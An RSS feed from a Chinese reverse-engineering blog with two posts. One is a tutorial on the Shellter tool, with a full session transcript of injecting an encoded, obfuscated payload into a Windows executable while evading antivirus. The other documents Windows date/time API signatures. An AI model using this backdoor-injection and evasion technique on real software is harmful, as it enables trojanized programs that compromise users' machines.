<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>绿色记忆 &#187; RE</title>
	<atom:link href="https://blog.gmem.cc/category/work/re/feed" rel="self" type="application/rss+xml" />
	<link>https://blog.gmem.cc</link>
	<description></description>
	<lastBuildDate>Fri, 03 Apr 2026 04:13:36 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.9.14</generator>
	<item>
		<title>使用Shellter进行shellcode注入</title>
		<link>https://blog.gmem.cc/shellcode-injection-with-shellter</link>
		<comments>https://blog.gmem.cc/shellcode-injection-with-shellter#comments</comments>
		<pubDate>Sun, 01 Feb 2015 07:46:11 +0000</pubDate>
		<dc:creator><![CDATA[Alex]]></dc:creator>
				<category><![CDATA[RE]]></category>

		<guid isPermaLink="false">https://blog.gmem.cc/?p=10879</guid>
		<description><![CDATA[<p>基础知识 Shellcode 在计算机安全领域，Shellcode是一小段代码，作为利用软件漏洞进行攻击的载荷（Payload）。之所以称为“Shellcode”，是因为这类代码常常启动一个Shell命令以获得系统的控制权。 Shellcode可以分为两类： 本地（Local）：攻击者不会实时的连接到受感染的机器，Shellcode在受感染机器上按照预先定义的逻辑运行 远程（Remote）：Shellcode在受感染机器上运行，并且攻击者可以通过网络连接到Shellcode，执行任意的逻辑。远程Shellcode通常使用TCP/IP协议与攻击者通信 依据连接建立方式的不同，远程Shellcode又可以分为： 回连（connect-back）Shellcode：Shellcode主动向攻击者的机器发起网络连接 绑定（Bind）Shellcode：Shellcode在特定端口上监听，攻击者主动发起网络连接 套接字重用（socket-reuse）Shellcode：重用既有连接，此方式有利于躲避防火墙 Shellter 这是一个动态的Shellcode注入工具，可以对32bit的Windows应用程序进行注入。Shellter利用PE文件原始的结构，它无需： 修改特定段（Section）的内存访问权限 添加额外的基于RWE访问权限的段 执行其它容易引起反病毒软件注意的行为 Shellter使用一种独特的、基于目标程序执行流的动态注入方式，而不是在静态/预定义位置执行注入。为了解目标的执行流，Shellter需要启动并跟踪之。 Shellter能够跟踪目标在用户空间的完整执行流，PE镜像中的代码、系统DLL中的代码、堆中的代码都可以被跟踪。这意味着：属于目标的、但是仅仅作为Windows API回调的那些函数不会被遗漏。 在追踪过程中，Shellter不会记录/计数不在PE镜像内存范围内的指令，因为这些指令不能作为永久性注入的参考位置。 对编码/自解码载荷的支持 通过检查目标的导入地址表（IAT，Import Address <a class="read-more" href="https://blog.gmem.cc/shellcode-injection-with-shellter">[...]</a></p>
<p>The post <a rel="nofollow" href="https://blog.gmem.cc/shellcode-injection-with-shellter">使用Shellter进行shellcode注入</a> appeared first on <a rel="nofollow" href="https://blog.gmem.cc">绿色记忆</a>.</p>
]]></description>
				<content:encoded><![CDATA[<div class="wri_content_clear_both"><div class="blog_h1"><span class="graybg">基础知识</span></div>
<div class="blog_h2"><span class="graybg">Shellcode</span></div>
<p>在计算机安全领域，Shellcode是<span style="background-color: #c0c0c0;">一小段代码</span>，作为利用软件漏洞进行攻击的<span style="background-color: #c0c0c0;">载荷（Payload）</span>。之所以称为“Shellcode”，是因为这类代码常常启动一个Shell命令以获得系统的控制权。</p>
<p>Shellcode可以分为两类：</p>
<ol>
<li>本地（Local）：攻击者不会实时的连接到受感染的机器，Shellcode在受感染机器上按照预先定义的逻辑运行</li>
<li>远程（Remote）：Shellcode在受感染机器上运行，并且攻击者可以通过网络连接到Shellcode，执行任意的逻辑。远程Shellcode通常使用TCP/IP协议与攻击者通信</li>
</ol>
<p>依据连接建立方式的不同，远程Shellcode又可以分为：</p>
<ol>
<li>回连（connect-back）Shellcode：Shellcode主动向攻击者的机器发起网络连接</li>
<li>绑定（Bind）Shellcode：Shellcode在特定端口上监听，攻击者主动发起网络连接</li>
<li>套接字重用（socket-reuse）Shellcode：重用既有连接，此方式有利于躲避防火墙</li>
</ol>
<div class="blog_h2"><span class="graybg">Shellter</span></div>
<p>这是一个动态的Shellcode注入工具，可以对<span style="background-color: #c0c0c0;">32bit的Windows</span>应用程序进行注入。Shellter利用PE文件原始的结构，它无需：</p>
<ol>
<li>修改特定段（Section）的内存访问权限</li>
<li>添加额外的基于RWE访问权限的段</li>
<li>执行其它容易引起反病毒软件注意的行为</li>
</ol>
<p>Shellter使用一种独特的、<span style="background-color: #c0c0c0;">基于目标程序执行流</span>的动态注入方式，而不是在静态/预定义位置执行注入。为了解目标的执行流，Shellter需要启动并跟踪之。</p>
<p>Shellter能够跟踪目标在用户空间的完整执行流，PE镜像中的代码、系统DLL中的代码、堆中的代码都可以被跟踪。这意味着：属于目标的、但是仅仅作为Windows API<span style="background-color: #c0c0c0;">回调</span>的那些函数不会被遗漏。</p>
<p>在追踪过程中，Shellter不会记录/计数不在PE镜像内存范围内的指令，因为这些指令不能作为永久性注入的参考位置。</p>
<div class="blog_h3"><span class="graybg">对编码/自解码载荷的支持</span></div>
<p>通过检查目标的导入地址表（IAT，Import Address Table），Shellter可以支持编码/自解码载荷。它会寻找特定的已导入（imported）函数，包括：</p>
<table class=" fixed-word-wrap full-width">
<thead>
<tr>
<td style="width: 35%; text-align: center;">函数（组合）</td>
<td style="text-align: center;">说明</td>
</tr>
</thead>
<tbody>
<tr>
<td>VirtualAlloc</td>
<td>操控当前进程的虚地址空间，预定或者提交一部分页</td>
</tr>
<tr>
<td>VirtualAllocEx</td>
<td>操控目标进程的虚地址空间，预定或者提交一部分页</td>
</tr>
<tr>
<td>VirtualProtect</td>
<td>修改当前进程已提交的一部分页的保护选项（读、写、执行）</td>
</tr>
<tr>
<td>VirtualProtectEx</td>
<td>修改目标进程已提交的一部分页的保护选项（读、写、执行）</td>
</tr>
<tr>
<td>HeapCreate/HeapAlloc</td>
<td>为当前进程创建私有堆/从堆中分配一块内存</td>
</tr>
<tr>
<td>LoadLibrary/GetProcAddress</td>
<td>加载指定模块（例如DLL）到当前进程的地址空间，可能导致其它DLL连带载入<br />从指定的模块句柄中获得导出（exported ）函数的地址</td>
</tr>
<tr>
<td>GetModuleHandle/GetProcAddress</td>
<td>根据模块名称，获得模块的句柄</td>
</tr>
<tr>
<td>CreateFileMapping/MapViewOfFile</td>
<td>为特定文件创建/打开命名/匿名的文件映射对象<br />将一个文件映射对象映射到当前进程的地址空间</td>
</tr>
</tbody>
</table>
<p>来支持<span style="background-color: #c0c0c0;">在运行时执行自解码载荷</span>，而不需要在PE头中修改段的特性。</p>
<p>上述8种组合中的任何一种都可以用来支持自解码载荷。在自动模式下，Shellter会随机使用其中的一组。如果它们都不可用，Shellter会在PE头<span style="background-color: #c0c0c0;">修改段的属性</span>，以支持自解码载荷。不可用的组合会显示为<pre class="crayon-plain-tag">--&gt; N/A</pre> 。</p>
<p>使用自解码载荷，有利于避开反病毒软件的检查。</p>
<p>Shellter自带了一个编码引擎，可以通过随机数量的XOR、ADD、SUB、NOT操作来进行编码，并且动态的生成对应的解码器。</p>
<div class="blog_h3"><span class="graybg">开箱即用的载荷</span></div>
<p>Shellter自带了若干载荷：</p>
<table class=" fixed-word-wrap full-width">
<thead>
<tr>
<td style="width: 30%; text-align: center;">载荷</td>
<td style="text-align: center;">说明</td>
</tr>
</thead>
<tbody>
<tr>
<td>meterpreter_reverse_tcp</td>
<td rowspan="3">提供专用于渗透测试框架metasploit的TCP/HTTP/HTTPS协议的远程回连Shellcode支持，示例：<br />
<pre class="crayon-plain-tag">Shellter -p meterpreter_reverse_tcp --lhost 127.0.0.1 --port 4444</pre>
</td>
</tr>
<tr>
<td>meterpreter_reverse_http</td>
</tr>
<tr>
<td>meterpreter_reverse_https</td>
</tr>
<tr>
<td>meterpreter_bind_tcp</td>
<td>提供专用于渗透测试框架metasploit的远程绑定Shellcode支持</td>
</tr>
<tr>
<td>shell_reverse_tcp</td>
<td rowspan="2">提供回连/绑定的shell支持</td>
</tr>
<tr>
<td>shell_bind_tcp</td>
</tr>
<tr>
<td>WinExec</td>
<td>执行任意命令或者程序</td>
</tr>
</tbody>
</table>
<div class="blog_h3"><span class="graybg">隐身模式（Stealth Mode）</span></div>
<p>这是5.0版本引入的特性，它允许在<span style="background-color: #c0c0c0;">维持受感染程序原始功能</span>的前提下，使用Shellter的<span style="background-color: #c0c0c0;">动态位置注入</span>、<span style="background-color: #c0c0c0;">多载荷注入功能</span>。</p>
<p>一旦启用该功能，你就可以再次注入已经被感染的程序，所有注入的载荷都独立运作。</p>
<div class="blog_h3"><span class="graybg">关于自修改代码</span></div>
<p>通过对目标的执行流进行记录，Shellter能够识别自修改代码，并把它们从可注入点中排除。在运行时会修改的地址注入Shellcode可能会失败，因此需要避免。Shellter<span style="background-color: #c0c0c0;">总是会</span>在过滤阶段进行自修改代码检查。</p>
<div class="blog_h1"><span class="graybg"> HelloWorld</span></div>
<p>这里我们以一个最简单的程序为注入目标：</p>
<pre class="crayon-plain-tag">#include "stdio.h"
#include &lt;windows.h&gt;
int main( int argc, char **argv )
{
    printf( "Hello World!" );
    Sleep( 30000 );
}</pre>
<p>打开命令行工具，输入shellter启动注入向导：</p>
<pre class="crayon-plain-tag">rem 下面的提示要求你选择操作模式
rem 对于简单的场景，可以选择自动模式（A）
rem 手工模式提供更加灵活的控制
Choose Operation Mode - Auto/Manual (A/M/H): M
rem 检查Shellter的最新版本
Perform Online Version Check? (Y/N/H): N
rem 选择需要注入的目标文件
PE Target: Hello.exe

rem 此阶段会备份目标程序
**********
* Backup *
**********
rem 备份为
Backup: Hello.exe.bak
rem 已有的备份被覆盖
Note: This overwrites an existing backup file that has the same name.
      Always remember that the .bak file is the previous state of what
      you are going to generate.



rem 检查PE文件的兼容性
********************************
* PE Compatibility Information *
********************************

Minimum Supported Windows OS: 4.0



rem 检查目标是否加壳
******************
* Packed PE Info *
******************

Status: Possibly Not Packed - The EntryPoint is located in the first section!




***********************
* PE Info Elimination *
***********************

Data: Dll Characteristics (Dynamic ImageBase etc...), Digital Signature.

Status: All related information has been eliminated!

rem 是否收集动态的线程上下文信息
rem 收集这些信息以创建更加复杂的定制化多形态代码（PolyMorphic code）
rem 或者用动态线程上下文信息作为Key来对载荷进行编解码
Gather Dynamic Thread Context Info? (Y/N/H):N

rem 需要追踪的CPU指令的条数
Number of Instructions: 10

rem 是否在跟踪时检测自修改代码，可以避免在某些高级场景下注入失败
rem 一般情况下不需要检测
Check for SelfModifying Code while Tracing? (Y/N/H): Y

rem 是否在检测到自修改代码时暂停跟踪
Pause Tracing at SelfModifying Code Detection? (Y/N/H):Y

rem 是否对目标的所有线程进行跟踪，还是仅跟踪主线程
Trace All Threads? (Y/N/H): N


rem 显示实时跟踪信息到屏幕上，会影响性能
Show Real-Time Tracing? (Y/N/H): Y

rem 到这一步，Shellter会打开目标程序，并跟踪其代码执行情况
****************
* Tracing Mode *
****************

Status: Tracing has started! Press CTRL+C to interrupt tracing at any time.



DisASM.dll was created successfully!



The following PEB flags have been reset:

1. PEB.BeingDebugged

2. PEB.NtGlobalFlag



4014e0 sub esp, 0Ch   &lt;0&gt;
4014e3 mov dword ptr [004063D8h], 00000000h   &lt;1&gt;
4014ed call 00401810h   &lt;2&gt;
401810 push ebp   &lt;3&gt;
401811 push edi   &lt;4&gt;
401812 push esi   &lt;5&gt;
401813 push ebx   &lt;6&gt;
401814 sub esp, 2Ch   &lt;7&gt;
401817 mov eax, dword ptr [0040302Ch]   &lt;8&gt;
40181c mov dword ptr [esp+10h], 00000000h   &lt;9&gt;

Tracing has been completed successfully!

Tracing Time Approx: 0.019 mins.



Starting First Stage Filtering...


rem 第一轮过滤，依据你给定的选项，确定哪些指令地址适合作为注入点
*************************
* First Stage Filtering *
*************************

Filtering Time Approx: 0 mins.


rem 是否启用隐身模式。隐身模式保持受感染的PE文件的功能不变
rem 启用该模式，则自动启用载荷编码
Enable Stealth Mode? (Y/N/H): Y

rem 选择一个预定义载荷，或者定制载荷
************
* Payloads *
************

[1] Meterpreter_Reverse_TCP
[2] Meterpreter_Reverse_HTTP
[3] Meterpreter_Reverse_HTTPS
[4] Meterpreter_Bind_TCP
[5] Shell_Reverse_TCP
[6] Shell_Bind_TCP
[7] WinExec

rem 如果选择定制载荷，则需要指定一个内容不超过260字符的文件
Use a listed payload or custom? (L/C/H): L

Select payload by index: 7

****************
* windows_exec *
****************

SET CMD: ping 127.0.0.1 -t

rem 是否使用动态上下文信息作为编码载荷的Key，试验性功能
Encode Payload using DTCK? (Y/N/H): N
rem 是否对解码器代码进行混淆处理
Obfuscate Shellters Decoder? (Y/N/H): Y

rem 是否需要指定编码序列，你可以使用x + - !的组合（XOR/AND/SUB/NOT），不能超过12字符
Enable User Defined Encoding Sequence? (Y/N/H): N

******************
* Encoding Stage *
******************
rem 对载荷进行编码
Encoding Payload: Done!


****************************
* Assembling Decoder Stage *
****************************
rem 对解码器进行汇编
Assembling Decoder: Done!


***********************************
* Binding Decoder &amp; Payload Stage *
***********************************
rem 对解码器进行混淆并绑定到载荷
Status: Obfuscating the Decoder using Thread Context Aware Polymorphic
        code, and binding it with the payload.

Please wait...

Binding: Done!

rem 在不修改段特性的前提下支持载荷编解码
*********************
* IAT Handler Stage *
*********************


Fetching IAT Pointers to Memory Manipulation APIs...


0. VirtualAlloc --&gt; N/A
1. VirtualAllocEx --&gt; N/A
2. VirtualProtect --&gt; Not Allowed in Stealth Mode!
3. VirtualProtectEx --&gt; N/A
4. HeapCreate/HeapAlloc --&gt; N/A
5. LoadLibrary/GetProcAddress --&gt; IAT[407148]/IAT[407130]
6. GetModuleHandle/GetProcAddress --&gt; IAT[40712c]/IAT[407130]
7. CreateFileMapping/MapViewOfFile --&gt; N/A


Choose one of the available methods: 6

rem 显示载荷的信息
****************
* Payload Info *
****************

Payload: winexec

Size: 2164 bytes

Reflective Loader: NO

Encoded-Payload Handling: Enabled

Handler Type: IAT


rem 是否混淆IAT处理器
Obfuscate IAT Handler? (Y/N/H): N
rem 是否在载荷前面加上多形态的垃圾代码
Prepend PolyMorphic Code? (Y/N/H): N
rem 选择多形态代码来源
Prepend User/Engine PolyMorphic Code (U/E/H): E


rem 第二轮过滤
Starting Second Stage Filtering...

**************************
* Second Stage Filtering *
**************************

Filtering Time Approx: 0 mins.
rem 是否显示可用的反汇编指令条目的列表
Show Disassembled Entries? (Y/N/H):Y

Total Entries: 10

Valid Index Values: 0 - 9

rem 输入需要显示的指令的索引值范围
Select Start Entry: 0

Select End Entry: 8


4014e0 sub esp, 0Ch   &lt;0&gt;
4014e3 mov dword ptr [004063D8h], 00000000h   &lt;1&gt;
4014ed call 00401810h   &lt;2&gt;
401810 push ebp   &lt;3&gt;
401811 push edi   &lt;4&gt;
401812 push esi   &lt;5&gt;
401813 push ebx   &lt;6&gt;
401814 sub esp, 2Ch   &lt;7&gt;
401817 mov eax, dword ptr [0040302Ch]   &lt;8&gt;

rem 可以显示更多的指令
Show more entries? (Y/N): N

Total Entries: 10

Valid Index Values: 0 - 9

rem 选择在那条指令的地址开始注入
Select &lt;Index&gt; of VA to Start Injection: 0

rem 注入阶段
*******************
* Injection Stage *
*******************
rem 在什么虚拟地址上进行注入
Virtual Address: 0x4014e0
rem 注入点子文件中的偏移量
File Offset: 0x8e0
rem 注入点所属的段
Section: .text


Adjusting stub pointers to IAT...

Done!


Injection Completed!


rem 校验和修复
*******************
* PE Checksum Fix *
*******************

Status: Valid PE Checksum has been set!

Original Checksum: 0xf60e7

Computed Checksum: 0xfc7cc


rem 验证阶段
**********************
* Verification Stage *
**********************


Info: Shellter will verify that the first instruction of the
      injected code will be reached successfully.
      If polymorphic code has been added, then the first
      instruction refers to that and not to the effective
      payload.
      Max waiting time: 10 seconds.

 Warning!
 If the PE target spawns a child process of itself before
 reaching the injection point, then the injected code will
 be executed in that process. In that case Shellter won't
 have any control over it during this test.
 You know what you are doing, right? ;o)

Injection: Verified!


Press [Enter] to continue...</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div><p>The post <a rel="nofollow" href="https://blog.gmem.cc/shellcode-injection-with-shellter">使用Shellter进行shellcode注入</a> appeared first on <a rel="nofollow" href="https://blog.gmem.cc">绿色记忆</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.gmem.cc/shellcode-injection-with-shellter/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>逆向常用Windows API记录</title>
		<link>https://blog.gmem.cc/windows-api-for-re</link>
		<comments>https://blog.gmem.cc/windows-api-for-re#comments</comments>
		<pubDate>Wed, 30 Jan 2008 14:33:26 +0000</pubDate>
		<dc:creator><![CDATA[Alex]]></dc:creator>
				<category><![CDATA[RE]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">https://blog.gmem.cc/?p=10859</guid>
		<description><![CDATA[<p>日期与时间 函数 说明 GetSystemTime [crayon-69d142cb8d591288924823/]  SYSTEMTIME结构的定义如下： [crayon-69d142cb8d595789694926/] GetLocalTime [crayon-69d142cb8d597779695798/] GetSystemTimeAsFileTime [crayon-69d142cb8d599409818124/]  FILETIME 结构的定义如下： [crayon-69d142cb8d59b356779149/] FILETIME难以阅读，可以使用下面的函数将其与SYSTEMTIME进行转换： [crayon-69d142cb8d59d354980015/] SetSystemTime [crayon-69d142cb8d5a0838847122/]  如果操作失败，可以通过[crayon-69d142cb8d5a2644394635-i/] 获取错误代码 SetLocalTime [crayon-69d142cb8d5a4566540692/]</p>
<p>The post <a rel="nofollow" href="https://blog.gmem.cc/windows-api-for-re">逆向常用Windows API记录</a> appeared first on <a rel="nofollow" href="https://blog.gmem.cc">绿色记忆</a>.</p>
]]></description>
				<content:encoded><![CDATA[<div class="wri_content_clear_both"><div class="blog_h3"><span class="graybg">日期与时间</span></div>
<table class=" full-width fixed-word-wrap">
<thead>
<tr>
<td style="width: 27%; text-align: center;">函数</td>
<td style="text-align: center;">说明</td>
</tr>
</thead>
<tbody>
<tr>
<td>GetSystemTime</td>
<td>
<pre class="crayon-plain-tag">/**
 * 获得当前系统日期和时间，以UTC（世界标准时间表示）
 * @param lpSystemTime 用于接收时间，指向SYSTEMTIME结构的指针
 */
void WINAPI GetSystemTime(LPSYSTEMTIME lpSystemTime);</pre></p>
<p> SYSTEMTIME结构的定义如下：</p>
<pre class="crayon-plain-tag">typedef struct _SYSTEMTIME
{
    WORD wYear; //年度，1601-30827
    WORD wMonth; //月份，1-12
    WORD wDayOfWeek; //周几，0-6，0表示周日
    WORD wDay; //几号，1-31
    WORD wHour; //几点，0-23
    WORD wMinute; //几分，0-59
    WORD wSecond; //几秒，0-59
    WORD wMilliseconds; //毫秒数，0-999
} SYSTEMTIME, *PSYSTEMTIME;</pre>
</td>
</tr>
<tr>
<td>GetLocalTime</td>
<td>
<pre class="crayon-plain-tag">/**
 * 获得当前系统的本地时间
 * @param lpSystemTime 用于接收时间，指向SYSTEMTIME结构的指针
 */
void WINAPI GetLocalTime(LPSYSTEMTIME lpSystemTime);</pre>
</td>
</tr>
<tr>
<td>GetSystemTimeAsFileTime</td>
<td>
<pre class="crayon-plain-tag">/**
 * 获得当前系统日期和时间，以UTC（世界标准时间表示）
 * @param lpSystemTime 用于接收时间，指向FILETIME 结构的指针
 */
void WINAPI GetSystemTimeAsFileTime( LPFILETIME lpSystemTimeAsFileTime );</pre>
<p> FILETIME 结构的定义如下：</p>
<pre class="crayon-plain-tag">/**
 * 64位数字，表示从1601年1月1日（UTC）到目前流逝的100纳秒的数目
 */
typedef struct _FILETIME
{
    DWORD dwLowDateTime;//低32位
    DWORD dwHighDateTime;//高32位
} FILETIME, *PFILETIME;</pre>
<p>FILETIME难以阅读，可以使用下面的函数将其与SYSTEMTIME进行转换：</p>
<pre class="crayon-plain-tag">BOOL FileTimeToSystemTime( const FILETIME *lpFileTime, LPSYSTEMTIME lpSystemTime );
BOOL  SystemTimeToFileTime( const SYSTEMTIME *lpSystemTime,  LPFILETIME lpFileTime );</pre>
</td>
</tr>
<tr>
<td>SetSystemTime</td>
<td>
<pre class="crayon-plain-tag">/**
 * 以UTC时间设置系统日期时间
 * @param lpSystemTime 新的时间，wDayOfWeek被忽略
 * @return 如果设置成功，返回非0值
 */
BOOL WINAPI SetSystemTime( const SYSTEMTIME *lpSystemTime );</pre>
<p> 如果操作失败，可以通过<pre class="crayon-plain-tag">DWORD GetLastError(void)</pre> 获取错误代码</p>
</td>
</tr>
<tr>
<td>SetLocalTime</td>
<td>
<pre class="crayon-plain-tag">/**
 * 以本地时间设置系统日期时间
 * @param lpSystemTime 新的时间，wDayOfWeek被忽略
 * @return 如果设置成功，返回非0值
 */
BOOL WINAPI SetLocalTime( const SYSTEMTIME *lpSystemTime );

SYSTEMTIME systemtime;
//先清零，非法数据可能导致设置失败
ZeroMemory( &amp;systemtime, sizeof( systemtime ) );
SetLocalTime( &amp;systemtime );</pre>
</td>
</tr>
</tbody>
</table>
</div><p>The post <a rel="nofollow" href="https://blog.gmem.cc/windows-api-for-re">逆向常用Windows API记录</a> appeared first on <a rel="nofollow" href="https://blog.gmem.cc">绿色记忆</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://blog.gmem.cc/windows-api-for-re/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
